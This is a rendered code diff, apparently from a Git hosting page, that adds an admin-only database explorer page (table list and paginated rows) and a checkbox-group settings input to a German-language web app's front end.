|
}
|
||||||
|
|
||||||
|
.db-null {
|
||||||
|
opacity: .3;
|
||||||
|
font-style: italic;
|
||||||
|
}
|
||||||
|
|
||||||
|
.db-info-bar {
|
||||||
|
display: flex;
|
||||||
|
justify-content: space-between;
|
||||||
|
align-items: center;
|
||||||
|
padding: 8px 0;
|
||||||
|
font-size: .9em;
|
||||||
|
opacity: .7;
|
||||||
|
}
|
||||||
|
|
||||||
|
.db-pagination {
|
||||||
|
display: flex;
|
||||||
|
align-items: center;
|
||||||
|
gap: 8px;
|
||||||
|
}
|
||||||
|
|
||||||
|
.db-page-info {
|
||||||
|
font-size: .85em;
|
||||||
|
}
|
||||||
|
|
||||||
|
.db-back-link {
|
||||||
|
opacity: .6;
|
||||||
|
transition: opacity .15s;
|
||||||
|
}
|
||||||
|
|
||||||
|
.db-back-link:hover {
|
||||||
|
opacity: 1;
|
||||||
|
color: var(--accent);
|
||||||
|
}
|
||||||
@@ -59,6 +59,7 @@
|
|||||||
<a id="dashboardAdminLink" class="dashboard-link" hidden>Benutzerverwaltung</a>
|
<a id="dashboardAdminLink" class="dashboard-link" hidden>Benutzerverwaltung</a>
|
||||||
<a id="dashboardApiKeysLink" class="dashboard-link" hidden>API-Keys</a>
|
<a id="dashboardApiKeysLink" class="dashboard-link" hidden>API-Keys</a>
|
||||||
<a id="dashboardServerSettingsLink" class="dashboard-link" hidden>Servereinstellungen</a>
|
<a id="dashboardServerSettingsLink" class="dashboard-link" hidden>Servereinstellungen</a>
|
||||||
|
<a id="dashboardDbExplorerLink" class="dashboard-link" hidden>Datenbank</a>
|
||||||
<a id="dashboardProfileLink" class="dashboard-link">Mein Profil</a>
|
<a id="dashboardProfileLink" class="dashboard-link">Mein Profil</a>
|
||||||
</div>
|
</div>
|
||||||
</header>
|
</header>
|
||||||
@@ -533,6 +534,18 @@
|
|||||||
</div>
|
</div>
|
||||||
</template>
|
</template>
|
||||||
|
|
||||||
|
<template id="tpl-db-explorer">
|
||||||
|
<div class="page form-page">
|
||||||
|
<header>
|
||||||
|
<button class="back-btn icon-btn" data-page="dashboard"><i class="fa fa-arrow-left"></i></button>
|
||||||
|
<h1 id="dbExplorerTitle">Datenbank-Explorer</h1>
|
||||||
|
</header>
|
||||||
|
<div class="page-content">
|
||||||
|
<div id="dbExplorerContent"></div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</template>
|
||||||
|
|
||||||
<template id="tpl-server-settings">
|
<template id="tpl-server-settings">
|
||||||
<div class="page form-page">
|
<div class="page form-page">
|
||||||
<header>
|
<header>
|
||||||
@@ -710,6 +723,7 @@
|
|||||||
<script src="js/pages/admin-page.js"></script>
|
<script src="js/pages/admin-page.js"></script>
|
||||||
<script src="js/pages/api-keys-page.js"></script>
|
<script src="js/pages/api-keys-page.js"></script>
|
||||||
<script src="js/pages/server-settings-page.js"></script>
|
<script src="js/pages/server-settings-page.js"></script>
|
||||||
|
<script src="js/pages/db-explorer-page.js"></script>
|
||||||
<script src="js/pages/shared-page.js"></script>
|
<script src="js/pages/shared-page.js"></script>
|
||||||
<script src="js/app.js"></script>
|
<script src="js/app.js"></script>
|
||||||
</body>
|
</body>
|
||||||
|
|||||||
@@ -410,7 +410,7 @@ registerPage('api-keys', {
|
|||||||
scannedList.appendChild(backRow);
|
scannedList.appendChild(backRow);
|
||||||
|
|
||||||
// Toolbar: "Ungeprüfte prüfen"-Button
|
// Toolbar: "Ungeprüfte prüfen"-Button
|
||||||
var visibleKeys = scannedKeys.filter(function(sk) { return sk.adoptedApiKeyId == null; });
|
var visibleKeys = scannedKeys.filter(function(sk) { return !sk.adoptedApiKeyId; });
|
||||||
var uncheckedKeys = visibleKeys.filter(function(sk) { return sk.status === 'unchecked'; });
|
var uncheckedKeys = visibleKeys.filter(function(sk) { return sk.status === 'unchecked'; });
|
||||||
if (uncheckedKeys.length > 0) {
|
if (uncheckedKeys.length > 0) {
|
||||||
var toolbar = document.createElement('div');
|
var toolbar = document.createElement('div');
|
||||||
|
|||||||
@@ -34,6 +34,13 @@ registerPage('dashboard', {
|
|||||||
e.preventDefault();
|
e.preventDefault();
|
||||||
navigateTo('server-settings');
|
navigateTo('server-settings');
|
||||||
});
|
});
|
||||||
|
|
||||||
|
var dbExplorerLink = document.getElementById('dashboardDbExplorerLink');
|
||||||
|
dbExplorerLink.hidden = false;
|
||||||
|
dbExplorerLink.addEventListener('click', (e) => {
|
||||||
|
e.preventDefault();
|
||||||
|
navigateTo('db-explorer');
|
||||||
|
});
|
||||||
}
|
}
|
||||||
|
|
||||||
// Globaler Click-Handler zum Schließen aller Card-Menüs
|
// Globaler Click-Handler zum Schließen aller Card-Menüs
|
||||||
|
|||||||
@@ -0,0 +1,182 @@
|
|||||||
|
// ── Database Explorer Page ──
|
||||||
|
|
||||||
|
registerPage('db-explorer', {
|
||||||
|
async init() {
|
||||||
|
if (!currentUser || !currentUser.isAdmin) {
|
||||||
|
navigateTo('dashboard');
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
var titleEl = document.getElementById('dbExplorerTitle');
|
||||||
|
var contentEl = document.getElementById('dbExplorerContent');
|
||||||
|
var currentTable = null;
|
||||||
|
|
||||||
|
await loadTables();
|
||||||
|
|
||||||
|
async function loadTables() {
|
||||||
|
currentTable = null;
|
||||||
|
titleEl.textContent = 'Datenbank-Explorer';
|
||||||
|
|
||||||
|
try {
|
||||||
|
var resp = await fetch('/api/admin/db/tables');
|
||||||
|
var data = await resp.json();
|
||||||
|
|
||||||
|
contentEl.innerHTML = '';
|
||||||
|
var table = document.createElement('table');
|
||||||
|
table.className = 'db-table';
|
||||||
|
|
||||||
|
var thead = document.createElement('thead');
|
||||||
|
thead.innerHTML = '<tr><th>Tabelle</th><th>Spalten</th><th>Zeilen</th></tr>';
|
||||||
|
table.appendChild(thead);
|
||||||
|
|
||||||
|
var tbody = document.createElement('tbody');
|
||||||
|
data.tables.forEach(function(t) {
|
||||||
|
var tr = document.createElement('tr');
|
||||||
|
tr.className = 'db-table-row clickable';
|
||||||
|
|
||||||
|
var tdName = document.createElement('td');
|
||||||
|
tdName.innerHTML = '<i class="fa fa-table"></i> ' + esc(t.name);
|
||||||
|
tdName.className = 'db-table-name';
|
||||||
|
|
||||||
|
var tdCols = document.createElement('td');
|
||||||
|
tdCols.textContent = t.columns;
|
||||||
|
tdCols.className = 'db-table-num';
|
||||||
|
|
||||||
|
var tdRows = document.createElement('td');
|
||||||
|
tdRows.textContent = t.rows.toLocaleString();
|
||||||
|
tdRows.className = 'db-table-num';
|
||||||
|
|
||||||
|
tr.appendChild(tdName);
|
||||||
|
tr.appendChild(tdCols);
|
||||||
|
tr.appendChild(tdRows);
|
||||||
|
|
||||||
|
tr.addEventListener('click', function() {
|
||||||
|
loadTableData(t.name, 1);
|
||||||
|
});
|
||||||
|
|
||||||
|
tbody.appendChild(tr);
|
||||||
|
});
|
||||||
|
|
||||||
|
table.appendChild(tbody);
|
||||||
|
contentEl.appendChild(table);
|
||||||
|
} catch (err) {
|
||||||
|
contentEl.innerHTML = '<p class="error">Fehler beim Laden: ' + esc(err.message) + '</p>';
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
async function loadTableData(name, page) {
|
||||||
|
currentTable = name;
|
||||||
|
titleEl.innerHTML = '<span class="db-back-link">Datenbank-Explorer</span> <i class="fa fa-chevron-right" style="opacity:.4;font-size:.7em;margin:0 .3em"></i> ' + esc(name);
|
||||||
|
|
||||||
|
// Back-Link klickbar
|
||||||
|
titleEl.querySelector('.db-back-link').style.cursor = 'pointer';
|
||||||
|
titleEl.querySelector('.db-back-link').addEventListener('click', function() {
|
||||||
|
loadTables();
|
||||||
|
});
|
||||||
|
|
||||||
|
try {
|
||||||
|
var resp = await fetch('/api/admin/db/tables/' + encodeURIComponent(name) + '?page=' + page + '&pageSize=100');
|
||||||
|
var data = await resp.json();
|
||||||
|
|
||||||
|
contentEl.innerHTML = '';
|
||||||
|
|
||||||
|
// Info-Zeile
|
||||||
|
var info = document.createElement('div');
|
||||||
|
info.className = 'db-info-bar';
|
||||||
|
info.innerHTML = '<span>' + data.pagination.totalRows.toLocaleString() + ' Zeilen</span>';
|
||||||
|
|
||||||
|
// Pagination
|
||||||
|
if (data.pagination.totalPages > 1) {
|
||||||
|
var pagDiv = document.createElement('span');
|
||||||
|
pagDiv.className = 'db-pagination';
|
||||||
|
|
||||||
|
if (page > 1) {
|
||||||
|
var prevBtn = document.createElement('button');
|
||||||
|
prevBtn.className = 'btn btn-small';
|
||||||
|
prevBtn.innerHTML = '<i class="fa fa-chevron-left"></i>';
|
||||||
|
prevBtn.addEventListener('click', function() { loadTableData(name, page - 1); });
|
||||||
|
pagDiv.appendChild(prevBtn);
|
||||||
|
}
|
||||||
|
|
||||||
|
var pageInfo = document.createElement('span');
|
||||||
|
pageInfo.className = 'db-page-info';
|
||||||
|
pageInfo.textContent = 'Seite ' + page + ' / ' + data.pagination.totalPages;
|
||||||
|
pagDiv.appendChild(pageInfo);
|
||||||
|
|
||||||
|
if (page < data.pagination.totalPages) {
|
||||||
|
var nextBtn = document.createElement('button');
|
||||||
|
nextBtn.className = 'btn btn-small';
|
||||||
|
nextBtn.innerHTML = '<i class="fa fa-chevron-right"></i>';
|
||||||
|
nextBtn.addEventListener('click', function() { loadTableData(name, page + 1); });
|
||||||
|
pagDiv.appendChild(nextBtn);
|
||||||
|
}
|
||||||
|
|
||||||
|
info.appendChild(pagDiv);
|
||||||
|
}
|
||||||
|
|
||||||
|
contentEl.appendChild(info);
|
||||||
|
|
||||||
|
// Tabelle mit Daten
|
||||||
|
var wrapper = document.createElement('div');
|
||||||
|
wrapper.className = 'db-table-wrapper';
|
||||||
|
|
||||||
|
var table = document.createElement('table');
|
||||||
|
table.className = 'db-table db-data-table';
|
||||||
|
|
||||||
|
// Header aus Spalten-Info
|
||||||
|
var thead = document.createElement('thead');
|
||||||
|
var headerRow = document.createElement('tr');
|
||||||
|
data.columns.forEach(function(col) {
|
||||||
|
var th = document.createElement('th');
|
||||||
|
th.textContent = col.name;
|
||||||
|
if (col.pk) th.innerHTML += ' <i class="fa fa-key" style="opacity:.4;font-size:.75em"></i>';
|
||||||
|
th.title = col.type + (col.notnull ? ' NOT NULL' : '') + (col.pk ? ' PRIMARY KEY' : '');
|
||||||
|
headerRow.appendChild(th);
|
||||||
|
});
|
||||||
|
thead.appendChild(headerRow);
|
||||||
|
table.appendChild(thead);
|
||||||
|
|
||||||
|
// Body
|
||||||
|
var tbody = document.createElement('tbody');
|
||||||
|
if (data.rows.length === 0) {
|
||||||
|
var emptyRow = document.createElement('tr');
|
||||||
|
var emptyCell = document.createElement('td');
|
||||||
|
emptyCell.colSpan = data.columns.length;
|
||||||
|
emptyCell.className = 'db-empty';
|
||||||
|
emptyCell.textContent = 'Keine Daten';
|
||||||
|
emptyRow.appendChild(emptyCell);
|
||||||
|
tbody.appendChild(emptyRow);
|
||||||
|
} else {
|
||||||
|
data.rows.forEach(function(row) {
|
||||||
|
var tr = document.createElement('tr');
|
||||||
|
data.columns.forEach(function(col) {
|
||||||
|
var td = document.createElement('td');
|
||||||
|
var val = row[col.name];
|
||||||
|
if (val === null || val === undefined) {
|
||||||
|
td.innerHTML = '<span class="db-null">NULL</span>';
|
||||||
|
} else {
|
||||||
|
var str = String(val);
|
||||||
|
if (str.length > 120) {
|
||||||
|
td.textContent = str.substring(0, 120) + '…';
|
||||||
|
td.title = str;
|
||||||
|
} else {
|
||||||
|
td.textContent = str;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
tr.appendChild(td);
|
||||||
|
});
|
||||||
|
tbody.appendChild(tr);
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
table.appendChild(tbody);
|
||||||
|
wrapper.appendChild(table);
|
||||||
|
contentEl.appendChild(wrapper);
|
||||||
|
} catch (err) {
|
||||||
|
contentEl.innerHTML = '<p class="error">Fehler beim Laden: ' + esc(err.message) + '</p>';
|
||||||
|
}
|
||||||
|
}
|
||||||
|
},
|
||||||
|
|
||||||
|
destroy() {}
|
||||||
|
});
|
||||||
@@ -26,7 +26,54 @@ registerPage('server-settings', {
|
|||||||
label.setAttribute('for', 'ss-' + s.key);
|
label.setAttribute('for', 'ss-' + s.key);
|
||||||
field.appendChild(label);
|
field.appendChild(label);
|
||||||
|
|
||||||
if (s.inputType === 'toggle') {
|
if (s.inputType === 'checkboxes' && s.options) {
|
||||||
|
var cbGroup = document.createElement('div');
|
||||||
|
cbGroup.className = 'checkbox-group';
|
||||||
|
cbGroup.id = 'ss-' + s.key;
|
||||||
|
var selected = Array.isArray(s.value) ? s.value : [];
|
||||||
|
|
||||||
|
// Select All / Deselect All Buttons
|
||||||
|
var cbActions = document.createElement('div');
|
||||||
|
cbActions.className = 'checkbox-group-actions';
|
||||||
|
var selectAllBtn = document.createElement('button');
|
||||||
|
selectAllBtn.type = 'button';
|
||||||
|
selectAllBtn.className = 'btn btn-xs';
|
||||||
|
selectAllBtn.textContent = 'Alle';
|
||||||
|
var deselectAllBtn = document.createElement('button');
|
||||||
|
deselectAllBtn.type = 'button';
|
||||||
|
deselectAllBtn.className = 'btn btn-xs';
|
||||||
|
deselectAllBtn.textContent = 'Keine';
|
||||||
|
cbActions.appendChild(selectAllBtn);
|
||||||
|
cbActions.appendChild(deselectAllBtn);
|
||||||
|
cbGroup.appendChild(cbActions);
|
||||||
|
|
||||||
|
var checkboxes = [];
|
||||||
|
for (var oi = 0; oi < s.options.length; oi++) {
|
||||||
|
var opt = s.options[oi];
|
||||||
|
var cbItem = document.createElement('label');
|
||||||
|
cbItem.className = 'checkbox-item';
|
||||||
|
var cb2 = document.createElement('input');
|
||||||
|
cb2.type = 'checkbox';
|
||||||
|
cb2.value = opt.id;
|
||||||
|
cb2.checked = selected.indexOf(opt.id) !== -1;
|
||||||
|
checkboxes.push(cb2);
|
||||||
|
var cbText = document.createElement('span');
|
||||||
|
cbText.textContent = opt.name;
|
||||||
|
cbItem.appendChild(cb2);
|
||||||
|
cbItem.appendChild(cbText);
|
||||||
|
cbGroup.appendChild(cbItem);
|
||||||
|
}
|
||||||
|
|
||||||
|
selectAllBtn.addEventListener('click', function() {
|
||||||
|
for (var ci = 0; ci < checkboxes.length; ci++) checkboxes[ci].checked = true;
|
||||||
|
});
|
||||||
|
deselectAllBtn.addEventListener('click', function() {
|
||||||
|
for (var ci = 0; ci < checkboxes.length; ci++) checkboxes[ci].checked = false;
|
||||||
|
});
|
||||||
|
|
||||||
|
inputs[s.key] = { _checkboxes: checkboxes };
|
||||||
|
field.appendChild(cbGroup);
|
||||||
|
} else if (s.inputType === 'toggle') {
|
||||||
var toggleLabel = document.createElement('label');
|
var toggleLabel = document.createElement('label');
|
||||||
toggleLabel.className = 'toggle-label';
|
toggleLabel.className = 'toggle-label';
|
||||||
|
|
||||||
@@ -111,6 +158,12 @@ registerPage('server-settings', {
|
|||||||
data[def.key] = input.checked;
|
data[def.key] = input.checked;
|
||||||
} else if (def.type === 'int') {
|
} else if (def.type === 'int') {
|
||||||
data[def.key] = parseInt(input.value, 10) || 0;
|
data[def.key] = parseInt(input.value, 10) || 0;
|
||||||
|
} else if (def.type === 'string_array' && input._checkboxes) {
|
||||||
|
var vals = [];
|
||||||
|
for (var ci = 0; ci < input._checkboxes.length; ci++) {
|
||||||
|
if (input._checkboxes[ci].checked) vals.push(input._checkboxes[ci].value);
|
||||||
|
}
|
||||||
|
data[def.key] = vals;
|
||||||
} else {
|
} else {
|
||||||
data[def.key] = input.value;
|
data[def.key] = input.value;
|
||||||
}
|
}
|
||||||
|
|||||||
Reference in new issue
Block a user